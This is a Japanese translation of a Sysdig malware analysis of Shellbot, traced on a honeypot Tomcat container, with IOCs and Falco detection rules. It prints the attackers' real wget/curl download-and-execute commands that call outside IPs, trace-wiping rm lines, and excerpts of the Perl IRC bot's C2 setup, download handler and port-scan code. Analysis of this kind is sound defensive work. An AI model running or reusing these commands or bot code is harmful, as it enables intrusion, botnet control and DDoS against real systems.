本文の内容は、2021年11月2日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/malware-analysis-shellbot-sysdig/)を元に日本語に翻訳・再構成した内容となっております。
マルウェアの解析は、あらゆる企業のインシデント検知とシステムの回復処理を向上させるための基本的な要素です。Sysdig セキュリティリサーチチームは、Shellbotマルウェアの仕組みと検知方法を取り上げます。
Shellbotマルウェアはいまだに蔓延しています。オープンなGithubリポジトリでも公開されている比較的古くから知られている攻撃であるにもかかわらず、数多くのインシデントを記録しました。
シェルボット型マルウェア
このマルウェアが標的となるシステムに正常にデプロイされると、関連するIRCサーバーから受け取った指示に従って、以下のような異なる目的で使用される可能性があります。
- 複数のファイルをダウンロードして持続させる
- ポートスキャンを実行してネットワーク全体を探索する
- データ流出を実行する
- 分散型サービス拒否(DDoS)に参加する
Shellbotマルウェアとは何ですか?
Shellbotマルウェアは、攻撃者がC&Cサーバーと通信して、被害者のマシン内でコマンドを実行することを可能にします。C&Cサーバーは、このシナリオではIRCサーバーとも呼ばれますが、通信チャネルを維持し、実行すべきコマンドを指定するための手段として、被害者のマシンに直接メッセージを送信することができます。その特徴は、被害者のマシンが最初の実行後に複数のバイナリをダウンロードして起動することです。それらの多くは、同じ目的を持っていますが、異なるOS(32/64ビット)とCPU(arm、mips)用に設計されています。
このマルウェアを解析するために、サービスを誤設定したハニーポットを使用して、異なるバイナリの実際の痕跡を確認します。まず、Shellbotマルウェアの挙動について簡単に説明します。
Shellbotマルウェアのスキーマ
- このShellbotマルウェアのエントリーポイントは、設定ミスのあるTomcatアプリケーションで、ダッシュボード管理用のデフォルトの認証情報を持っていました。
- 最初のコマンドは、Shellbotマルウェアの舞台となる
initd
スクリプトをダウンロードしました。 - 実行されると、この最初のスクリプトは
- 複数のバイナリやスクリプトをダウンロードしました。
- 新しいダウンロードの痕跡を消去し、発見されないようにしました。
Ulimit.sh
スクリプトは、ユーザープロセスのリソース制限を増やそうとしました。Bash.sh
スクリプトは、代わりに、Killされるべき特定のプロセスID(PID)をソケット間で確認するためのループを継続しました。- 最後に、PerlスクリプトやELFファイルとしてダウンロードされた他のバイナリもありますが、これはマルウェアをさまざまなプラットフォームで実行できるようにするための工夫です。これらが本物のShellbotと呼ばれるマルウェアで、被害者にIRCサーバーとの通信を強要し、好きなものを実行したり、走らせたりします。
ここでは、このShellbotマルウェアが具体的にどのように動作するのかを詳細に調べ、悪意のある動作を理解して、オープンソースのFalcoで検出する方法を学んでいきましょう。
Shellbotマルウェアの詳細
#1 初期アクセス – ハッキングされたTomcatとinitdスクリプト
攻撃者はTomcatコンテナにアクセスし、デフォルトの認証情報をブルートフォースで取得し、リバースシェルを生成しました。次のコマンドを実行して、最初のbashスクリプトをダウンロードしました。このスクリプトは、コンテナ内に既に存在していた場合に備えてトレースを削除した後、実行するために他のファイルをダウンロードしました。
cd /tmp; wget http://192.99.43.212/54545asd5asd45as45/mizakotropistax64; curl -O http://192.99.43.212/54545asd5asd45as45/mizakotropistax64; cat mizakotropistax64 >x0000x;chmod +x *;nice -20 ./x0000x dedicated
cd /tmp; wget http://192.99.43.212/craton.pl -O /tmp/craton.pl; curl http://192.99.43.212/craton.pl -o /tmp/craton.pl; chmod 777 /tmp/craton.pl; perl /tmp/craton.pl; rm -rf /tmp/craton.pl; rm -rf /tmp/craton.pl.*
cd /tmp; wget http://192.99.43.212/bash.sh; curl http://192.99.43.212/bash.sh -o bash.sh; chmod 777 bash.sh; nohup bash bash.sh &
cd /tmp; wget http://192.99.43.212/ulimit.sh; curl http://192.99.43.212/ulimit.sh -o ulimit.sh; chmod 777 ulimit.sh; bash ulimit.sh; rm -rf ulimit.sh
cd /tmp; wget http://144.217.249.55/bot.pl -O /tmp/bot.pl --quiet; curl -s http://144.217.249.55/bot.pl -o /tmp/bot.pl; perl /tmp/bot.pl; rm -rf /tmp/bot.pl; rm -rf /tmp/bot.pl.1
mkdir /tmp/.logs/
cd /tmp; wget http://144.217.249.55/apachelogd -O /tmp/.logs/apachelogd; curl http://144.217.249.55/apachelogd -o /tmp/.logs/apachelogd; chmod +x /tmp/.logs/apachelogd; rm -rf /tmp/.logs/apachelogd.*
このマルウェアは、ユーザーが新しいターミナルを開いたときに、ファイルを再度ダウンロードするようにシェルの設定ファイルを修正しました。
最終的に、このマルウェアはすべてのファイル、履歴、そしてIRCサーバから取得したものをすべて削除しました。
...
rm -rf /var/tmp/bot.pl
rm -rf /tmp/bot.pl
rm -rf bot.pl
rm -rf bot.pl.1
rm -rf /tmp/bot.pl.1
rm -rf /var/tmp/bot.pl.1
rm -rf /var/tmp/meca.pl
rm -rf /var/tmp/meca2.pl
rm -rf /tmp/meca2.pl
rm -rf /tmp/meca.pl
rm -rf /tmp/mizakotropista*
rm -rf /tmp/x0000x*
rm -rf /tmp/*.sh
rm -rf /tmp/*.pl.*
...
#2 マルウェアの能力は無限大 – ulimit.shスクリプト
このulimit.sh
スクリプトは、攻撃者が root 権限を持っているかどうかを確認する方法として、最初に$EUID
変数をチェックします。権限がある場合、ulimit
コマンドを実行して、ユーザープロセスの最大数 (-u
)、スケジューリングの最大優先度 (-e
)などのリソース制限を設定できるようにしました。...
ulimit -u unlimited
ulimit -s unlimited
ulimit -q unlimited
ulimit -n 999999
ulimit -l unlimited
ulimit -i unlimited
ulimit -c unlimited
ulimit -e unlimited
ulimit -r unlimited
...
#3 ステルスマルウェアの活動 – bash.shスクリプト
bash.sh
スクリプトは、この攻撃が存在したという証拠を消すために延々とループし、 initd
スクリプトもそうしました。実際には、すべてのソケットをプロセス名とプロセスIDとともに出力し、
kill -9
コマンドでKillすべき特定のソケットを探しました。そして、いくつかの証拠を取り除き、1秒スリープして、再びループしました。
while true
Do
netstat -anp | grep '666' | awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep '107.172' | awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
rm -rf /tmp/*.arm
rm -rf /tmp/*.arm5n
rm -rf /tmp/*.arm7
rm -rf /tmp/*.m68k
rm -rf /tmp/*.mips
rm -rf /tmp/*.mpsl
rm -rf /tmp/*.ppc
rm -rf /tmp/*.sh4
...
#4 Shellbot のコア:bot.plとcraton.pl
ポッドでマルウェア解析を行うために、initd
スクリプトは最初にmizakotropistax86やいくつかのPerlスクリプトなどのバイナリをダウンロードしていました。これらのバイナリの本当の目的は同じなので、ここではPerlのものを見てみましょう。Bot.pl
と craton.pl
は、異なるポートを介して異なるIRCサーバと通信するために使用される2つの同じスクリプトです。このPerlスクリプトは、Githubでも公開されており、攻撃者が改変することで、マルウェアの動作やIRCサーバがしたいことをカスタマイズしたり、マルウェアを検出するための典型的なブラックリストの手法を回避したりすることができます。それでは、このスクリプトを見てみましょう。
Perlスクリプトの静的コード解析
最初に、IRCサーバのIPとそのポートが定義されています。my $servidor='192.99.43.212' unless $servidor;
my $porta='2894';
my @canais=("#spoof");
my @adms=("r00x");
このスクリプトでは、シグナルキーの値への参照を追加することで、いくつかのシグナルの処理方法も指定しています。この場合、
'IGNORE'
の値を使用することで、プロセスは以下のシグナルを無視することができます。$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
さらに、スクリプトは最初に、ソケットを作成して処理するためのオブジェクト指向のやり方で
IO::Socket
インターフェイスの使用を宣言しています。このインターフェイスでは、最初にソケットを設定し、can_read()
メソッドを実行して、読み取り可能なハンドルの配列を受け取ります。…
my @ready = $sel_cliente->can_read(0.6);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /r$/) {
parse("$line");
} elsif ($line =~ /^(S+) NOTICE AUTH :***/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
...
スクリプトは、ハンドルを取得するごとに、ソケットから
4096 bytes
を読み込み、変数 $msg
に格納し、改行文字で各メッセージを複数の行に分割します。これらの行が分割されると、スクリプトはそれぞれの行に対して
parse()
サブルーチンを呼び出し、特定の正規表現にマッチさせて、ボットや被害者のシステムに、IRCサーバが望むことを何でもさせるようにします。ここでは、IRCサーバから受信した各行の中で解析され、ターゲットシステムから実行される特定の実行をコード化するいくつかのパターンを紹介します。
- これは、ボットとIRCサーバの間のコミュニケーションチャンネルを維持するために使用されるPING-PONGの交換です。また、Sysdig Inspectでキャプチャーを解析して、このやり取りがどのように表示されるかの例を追っています。
if ($servarg =~ /^PING :(.*)/) {
sendraw("PONG :$1");
}
- IRCサーバは、被害者のマシン内にある特定のリソースをダウンロードするよう要求することもできます。この場合、マシンは別の関数を呼び出して特定のリソースを取得し、ファイルシステムに保存します。
elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluido!") if($estatisticas);
}
- また、ターゲットIPの特定のポートにアクセスすることを目的としたポートスキャンや、フルポートスキャンの実行を要求することもできます。開いているポートについて収集された情報は、IRCサーバに送り返されます。
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
}
}
elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
my $hostname="$1";
my $portainicial = "$2";
my $portafinal = "$3";
my (@abertas, %porta_banner);
foreach my $porta ($portainicial..$portafinal) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@abertas, $porta);
$scansock->close;
if ($estatisticas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
}
}
- また、データの流出やその他の情報の交換、より具体的なコマンドを実行するために、双方が ”プライベートメッセージ” を送信することも可能です。
#5 フラッディングバイナリ:apachelogd
このバイナリは、Shellbotの感染初期に、前に紹介したinitd
bashスクリプトからダウンロードされました。このバイナリは、リモートコマンドがIRCサーバに受信されるまで、ステルス状態を維持しているのが非常に興味深いです。
実際のところ、攻撃を受けてから数時間後に、このコマンドの実行に気づきました:
その後、私たちのコンテナは、コマンドラインで指定されたドメインに殺到し始め、常に同じ受信者ポートをターゲットにしていましたが、クライアントポートを継続的に変更していました。
検出されたIOCおよび不審な活動の概要
IPs & URLs
- 192.99.43.212
- 144.217.249.55
- 141.95.19.123
- https://cadastramentoltau.com/
ファイルとSHA256:
Initd
- 718db42305a8d5b4c3ff74a05037de2f5e679db24bf86b8e88ab34c490699ea3
Bash.sh
- a5e010b0abf603facae5676c2c37f7063f6efc12bc7c863982bff133ec547a3f
Ulimit.sh
- db5382c0ef1b204672b4168425d737380288653ac74360b39f1ec466a5a47eb9
Bot.pl
- d4bbe4087175d3981b2925b77c24baffd8e086c2f9df7179d142e00e7e2ec3ce
Craton.pl
- 7046260a23088b52debdeb701032db0352323ed26d9816daa4a53222b26ca720
Mizakotropistax86
- 5d6f674a7abab5e60548531a69e6ecb23cc2e2fe823cd7f8ccac6928db5f757e
Apachelogd
- 387099a6c011c0074b9a368a7d3818e3daab0b24527b65d589b583772f5e1c56
疑わしいビヘイビア
我々のマルウェア解析において、特筆すべきいくつかの疑わしい動作があります。- ランタイム時(ビルド時ではない)にコンテナ内でwgetまたはcurlコマンドを実行する。
- ランタイム時に/tmpフォルダ以下に書き込み、新しいファイルに実行権限を与えることは、今後のマルウェア実行の兆候である可能性があります。
- ファイルの削除や履歴の削除は、何かが自分の痕跡を隠そうとしていることを表している可能性があります。
- IRCサーバーとのネットワーク通信や、インターネット上の異常なアウトバウンドトラフィック。
Falcoによるマルウェア実行の検出
このShellbotマルウェアやその他の一般的なマルウェアの検出には、Falcoを使用して、疑わしい接続や悪意のあるバイナリのダウンロードと実行を見つけることができます。FalcoはCNCFのオープンソースプロジェクトで、アプリケーションの予期せぬ動作を検出し、ランタイム時にアラートを送信するために使用されます。
強力で柔軟なルール言語を活用して、疑わしい動作を照合し、イベントアラートを生成することができます。事前に定義されたルールセットが付属していますが、必要に応じてカスタマイズしたり、ニーズに合った新しいルールを作成したりすることもできます。
ここでは、いくつかの便利なカスタムルールを紹介します。
- rule: Unexpected outbound connection destination desc: Detect any outbound connection to a destination outside of an allowed set of ips, networks, or domain names condition: > consider_all_outbound_conns and outbound and not ((fd.sip in (allowed_outbound_destination_ipaddrs)) or (fd.snet in (allowed_outbound_destination_networks)) or (fd.sip.name in (allowed_outbound_destination_domains))) output: Disallowed outbound connection destination (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository) priority: NOTICE tags: [network] - rule: Modify Shell Configuration File desc: Detect attempt to modify shell configuration files condition: > open_write and (fd.filename in (shell_config_filenames) or fd.name in (shell_config_files) or fd.directory in (shell_config_directories)) and not proc.name in (shell_binaries) and not exe_running_docker_save output: > a shell configuration file has been modified (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline pcmdline=%proc.pcmdline file=%fd.name container_id=%container.id image=%container.image.repository) priority: WARNING tags: [file, mitre_persistence] - rule: Interpreted procs outbound network activity desc: Any outbound network activity performed by any interpreted program (perl, python, ruby, etc.) condition: > (outbound and consider_interpreted_outbound and interpreted_procs) output: > Interpreted program performed outgoing network connection (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository) priority: NOTICE tags: [network, mitre_exfiltration] - rule: Container Drift Detected (chmod) desc: New executable created in a container due to chmod condition: > chmod and consider_all_chmods and container and not runc_writing_var_lib_docker and not user_known_container_drift_activities and evt.rawres>=0 and ((evt.arg.mode contains "S_IXUSR") or (evt.arg.mode contains "S_IXGRP") or (evt.arg.mode contains "S_IXOTH")) exceptions: - name: proc_name_image_suffix fields: [proc.name, container.image.repository] comps: [in, endswith] - name: cmdline_file fields: [proc.cmdline, fd.name] comps: [in, in] values: - [["runc:[1:CHILD] init"], [/exec.fifo]] output: Drift detected (chmod), new executable created in a container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name mode=%evt.arg.mode event=%evt.type) priority: ERROR - rule: Outbound Connection to C2 Servers desc: Detect outbound connection to command & control servers condition: outbound and fd.sip in (c2_server_ip_list) exceptions: - name: proc_proto_sport fields: [proc.name, fd.l4proto, fd.sport] output: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository) priority: WARNING tags: [network]
ルールの全説明はGitHubで確認できます。
これらのFalcoルールは、Perlなどの解釈されたプログラムの有無にかかわらず、疑わしいアウトバウンドおよびインバウンドのトラフィックを検出することができます。また、ダウンロードしたファイルに実行権限を与えたり、シェルの設定ファイルを変更したりするなど、このShellbotマルウェアが採用している他の一般的な動作も検出できます。
Sysdig Secureでの検出
Sysdig Secure DevOps PlatformはFalcoをベースにして構築されており、この攻撃の検出にも使用できます。例えば、DevOpsは以下のことができます:- ホワイトリストに載っていない宛先IPやポートを検出するポリシーを作成する。
- 許可リストにないバイナリやスクリプトの起動を検出するためのポリシーを作成する(craton.pl、bot.plなど)。
- 想定外のPerlなどの解釈されたプログラムによる実行を検出するポリシーを作成する。
c2_server_ip_list
には、私たちが見つけた悪意のあるIPを入れることができます。さらに、Falcoルールがトリガーされたときに、関係するシステムをKillして再起動することで、これらの動作を防ぐこともできます。
まとめ
Sysdig セキュリティ リサーチ チームは、検出システムを改善するために、Shellbotマルウェアのアーキテクチャと悪意のある活動を深く掘り下げました。システムを危険にさらし、攻撃者に新しいファイルをダウンロードさせたり、接続を開いたり、マシンを活用して特定のターゲットにDDoS攻撃を仕掛けるなどの可能性を与える、カウンタートレンドのマルウェアを取り上げました。
そのため、システム管理者は、不審な動作や異常な接続を検知するためのツールを常に導入する必要があります。このようにして、環境の整合性を守り、ゾンビシステムにならないように、すべてのサービスやソフトウェアを最新の状態に保つことができるのです。
Falcoについてもっと知りたい方は、こちらをご覧ください:
- Falco.orgをご覧ください。
- GitHubでFalcoプロジェクトをチェックしてください。
- Falco コミュニティに参加する。
- Falco Slackでメンテナに会う。
- ツイッターで @falco_org をフォローする。
Sysdig Secureは、他のオープンソースプロジェクトとともに、アウトオブボックスのルールでFalcoを拡張し、Kubernetesのセキュリティへの取り組みと管理をさらに容易にしています。30日間の無料トライアルに登録して、ご自身の目で確かめてください!
Sysdig Secure DevOps Platformは、コンテナ、Kubernetes、クラウドサービスを自信を持って実行するためのセキュリティを提供します。Sysdigでは、ビルド・パイプラインの保護、ランタイムの脅威の検出と対応、コンプライアンスの継続的な検証、クラウド・インフラストラクチャーとサービスの監視とトラブルシューティングを行うことができます。今すぐお試しください!